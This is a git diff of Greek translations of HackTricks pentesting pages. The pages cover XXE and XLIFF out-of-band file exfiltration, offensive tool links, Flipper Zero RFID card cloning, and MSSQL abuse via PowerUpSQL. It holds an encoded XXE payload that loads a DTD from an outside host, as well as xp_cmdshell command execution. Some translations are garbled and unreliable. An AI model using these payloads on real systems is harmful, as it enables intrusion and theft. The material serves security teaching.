Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια άλλη οντότητα** κωδικοποιώντας τη με **οντότητες html** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\
Κόλπος από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας τη με **οντότητες html** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\
Σημειώστε ότι οι **Οντότητες HTML** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
@ -448,7 +448,7 @@ Content-Type: application/xml;charset=UTF-8
%abt;
%exfil;
```
## PHP Wrappers
## PHP Περιτυπωτές
### Base64
@ -478,9 +478,9 @@ Content-Type: application/xml;charset=UTF-8
```
## XLIFF - XXE
Αυτό το παράδειγμα είναι εμπνευσμένο από [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
Αυτό το παράδειγμα είναι εμπνευσμένο από το [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι ένας μορφότυπος βασισμένος σε XML που χρησιμοποιείται κυρίως για τη μεταφορά δεδομένων που μπορούν να τοπικοποιηθούν μεταξύ εργαλείων κατά τη διαδικασία τοπικοποίησης και ως ένα κοινό μορφότυπο ανταλλαγής για εργαλεία CAT (Computer-Aided Translation).
Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι ένας μορφότυπος βασισμένος σε XML που χρησιμοποιείται κυρίως για τη μεταφορά δεδομένων που μπορούν να τοπικοποιηθούν μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως ένα κοινό μορφότυπο ανταλλαγής για εργαλεία CAT (Computer-Aided Translation).
### Ανάλυση Τυφλού Αιτήματος
@ -502,7 +502,7 @@ Content-Type: application/x-xliff+xml
```
Παρά το σφάλμα, καταγράφεται ένα χτύπημα στο Burp Collaborator, υποδηλώνοντας κάποιο επίπεδο αλληλεπίδρασης με το εξωτερικό στοιχείο.
Εξαγωγή Δεδομένων Out of Band Για να εξαγάγετε δεδομένα, στέλνεται ένα τροποποιημένο αίτημα:
Εξαγωγή Δεδομένων Out of Band Για να εξαχθούν δεδομένα, στέλνεται ένα τροποποιημένο αίτημα:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -514,7 +514,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένα περιορισμένο σημείο με αυτήν την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Μια σημειωμένη περιορισμός με αυτήν την έκδοση του Java είναι η ανικανότητα ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Εξαγωγή Δεδομένων Με Βάση Σφάλματα Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση βασισμένη σε σφάλματα. Το αρχείο DTD έχει την ακόλουθη δομή για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο:
```xml
@ -689,7 +689,7 @@ Content-Type: application/x-xliff+xml
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
@ -701,7 +701,7 @@ Content-Type: application/x-xliff+xml
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -4,15 +4,15 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -68,10 +68,10 @@
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Έλεγχος μιας λίστας τομέων εναντίον Ανοικτής Ανακατεύθυνσης
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Πρόσθετο Burp, ανάλυση εκτός σύνδεσης για ανακάλυψη τομέων, υποτομέων και IP
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Λίστα διαφορετικών εργαλείων
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Πρόσθετο BurpSuite για εύρεση ευπάθειών (SQLi, XSS, SSTI)
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Επέκταση Chrome για την παρακολούθηση λειτουργιών post-messages
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Πρόσθετο BurpSuite για εύρεση ευπαθειών (SQLi, XSS, SSTI)
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Επέκταση Chrome για παρακολούθηση λειτουργιών αναρτημένων μηνυμάτων
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Αυτόματες δοκιμές πιστοποίησης (αφαίρεση cookies και προσπάθεια αποστολής του αιτήματος)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): Το XRCross είναι ένα εργαλείο ανακατασκευής, σάρωσης και εργαλείο για δοκιμές διείσδυσης / BugBounty. Αυτό το εργαλείο κατασκευάστηκε για να ελέγξει ευπάθειες (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): Το XRCross είναι ένα εργαλείο ανακατασκευής, σάρωσης και εργαλείο για δοκιμές διείσδυσης / BugBounty. Αυτό το εργαλείο κατασκευάστηκε για να ελέγξει ευπαθείς (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) ευπαθείες
# Windows
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Πλευρικές μετακινήσεις
@ -79,14 +79,14 @@
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Μόνιμη παραμονή
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Τεχνικές εισαγωγής διεργασιών Windows
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Σενάρια Red Team
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : εντοπίστε ασφαλιστικές σχετικές ατέλειες στην πολιτική ομάδας Active Directory.
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Ασφάλεια της συμβολοσειράς
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : εντοπίστε ασφαλειακές λανθάνουσες ρυθμίσεις στην ομάδα πολιτικής του Active Directory.
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Ασφάλεια με securestring
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Παραπλανητική ταυτότητα PID γονέα
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Κρυπτογραφήστε φορτία Powershell
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Σειρά καταγραφών σχετικά με τα εσωτερικά των Windows
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Καταγράψτε ποιος άνοιξε ένα έγγραφο
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Φύλλο απάτης εκμετάλλευσης Active Directory
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Φύλλο απατηλών εκμεταλλεύσεων Active Directory
# Firmware
@ -96,7 +96,7 @@
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
Μετά την ανάλυση:
Μετά την κρέμα:
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
@ -107,7 +107,7 @@
και εδώ η μεθοδολογία owasp για ανάλυση firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
Προσομοίωση firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) είναι μια πλατφόρμα για την αυτοματοποίηση της προσομοίωσης και δυναμικής ανάλυσης firmware βασισμένης σε Linux.
Εξομοίωση firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) είναι μια πλατφόρμα για την αυτοματοποίηση της εξομοίωσης και της δυναμικής ανάλυσης firmware βασισμένη σε Linux.
# OTHER
@ -117,7 +117,7 @@
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Στατική ανάλυση κώδικα
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit που στέλνει αργά ένα ατέλεσμα banner.
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit που στέλνει αργά ένα ατέλειωτο μπάνερ.
* Εργαλεία AWS και Cloud: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* IFS (Interplanetary File System) για phishing: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* Υπηρεσίες περιστροφής IP: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
@ -128,16 +128,16 @@
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Λέξεις-κλειδιά
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS)
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : αυτοματοποίηση σάρωσης
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Αυτή η λίστα στοχεύει να καλύψει θέματα ασφάλειας Electron.js.
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Αυτή η λίστα στοχεύει να καλύψει θέματα ασφάλειας σχετικά με το Electron.js.
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Πληροφορίες σχετικά με τα προγράμματα BB
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε την κακόβουλη εισβολή στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -146,5 +146,3 @@
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης των HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,14 +14,14 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Εισαγωγή
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργούν τα ετικέτες 125kHz, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργούν οι ετικέτες 125kHz, ελέγξτε:
{% content-ref url="../pentesting-rfid.md" %}
[pentesting-rfid.md](../pentesting-rfid.md)
@ -33,15 +33,15 @@
### Διάβασμα
Προσπαθεί να **διαβάσει** τις πληροφορίες της κάρτας. Στη συνέχεια μπορεί να τις **εμμιμητευτεί**.
Προσπαθεί να **διαβάσει** τις πληροφορίες της κάρτας. Στη συνέχεια μπορεί να τις **εξομοιώσει**.
{% hint style="warning" %}
Σημειώστε ότι μερικά κουδούνια προσπαθούν να προστατευτούν από την αντιγραφή κλειδιών με την αποστολή εντολής εγγραφής πριν την ανάγνωση. Αν η εγγραφή επιτύχει, αυτή η ετικέτα θεωρείται ψεύτικη. Όταν το Flipper εμμιμείται RFID, δεν υπάρχει τρόπος για τον αναγνώστη να το διακρίνει από το πρωτότυπο, οπότε δεν προκύπτουν τέτοια προβλήματα.
Σημειώστε ότι μερικά κουδούνια προσπαθούν να προστατευτούν από την αντιγραφή κλειδιών με την αποστολή εντολής εγγραφής πριν την ανάγνωση. Αν η εγγραφή επιτύχει, αυτή η ετικέτα θεωρείται ψεύτικη. Όταν το Flipper εξομοιώνει RFID, δεν υπάρχει τρόπος για τον αναγνώστη να το διακρίνει από το πρωτότυπο, οπότε δεν υπάρχουν τέτοια προβλήματα.
{% endhint %}
### Προσθήκη Χειροκίνητα
Μπορείτε να δημιουργήσετε **ψεύτικες κάρτες στο Flipper Zero δείχνοντας τα δεδομένα** που εισάγετε χειροκίνητα και στη συνέχεια να τα εμμιμητευτείτε.
Μπορείτε να δημιουργήσετε **ψεύτικες κάρτες στο Flipper Zero δείχνοντας τα δεδομένα** που εισάγετε χειροκίνητα και στη συνέχεια να τα εξομοιώσετε.
#### IDs στις κάρτες
@ -60,26 +60,26 @@
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
### Εμμιμητεύω/Εγγραφή
### Εξομοίωση/Εγγραφή
Μετά το **αντιγράφο** μιας κάρτας ή την **εισαγωγή** του ID **χειροκίνητα**, είναι δυνατόν να την **εμμιμητευτείτε** με το Flipper Zero ή να την **εγγράψετε** σε μια πραγματική κάρτα.
Μετά το **αντιγράφο** μιας κάρτας ή την **εισαγωγή** του ID **χειροκίνητα**, είναι δυνατόν να την **εξομοιώσετε** με το Flipper Zero ή να την **εγγράψετε** σε μια πραγματική κάρτα.
## Αναφορές
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης των HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε τα HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -58,7 +58,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
## Βασική Κατάχρηση MSSQL
### Πρόσβαση στη Βάση Δεδομένων
### Πρόσβαση στη ΒΔ
```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
@ -77,15 +77,15 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
### Βασικά Κόλπα Χάκερ για το MSSQL
### Βασικά Κόλπα Χάκερισμα MSSQL
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
## Αξιόπιστοι Σύνδεσμοι MSSQL
## Σύνδεσμοι Εμπιστοσύνης MSSQL
